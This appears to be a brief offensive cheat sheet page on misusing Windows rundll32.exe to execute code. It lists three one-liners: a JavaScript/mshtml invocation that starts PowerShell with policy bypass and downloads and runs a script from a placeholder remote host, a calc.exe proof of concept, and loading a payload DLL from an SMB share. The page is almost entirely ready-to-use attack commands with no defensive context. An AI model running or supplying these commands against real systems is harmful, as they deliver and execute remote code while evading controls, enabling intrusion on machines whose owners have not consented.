githubEdit

Rundll32

Rundll32

Execute JavaScript script that runs a PowerShell script from a remote server

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://<IP>/<File.ps1>');"

Execute a JavaScript script that runs calc.exe.

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

Execute a DLL on a SMB share. EntryPoint is the name of the entry point in the .DLL file to execute.

rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint

Last updated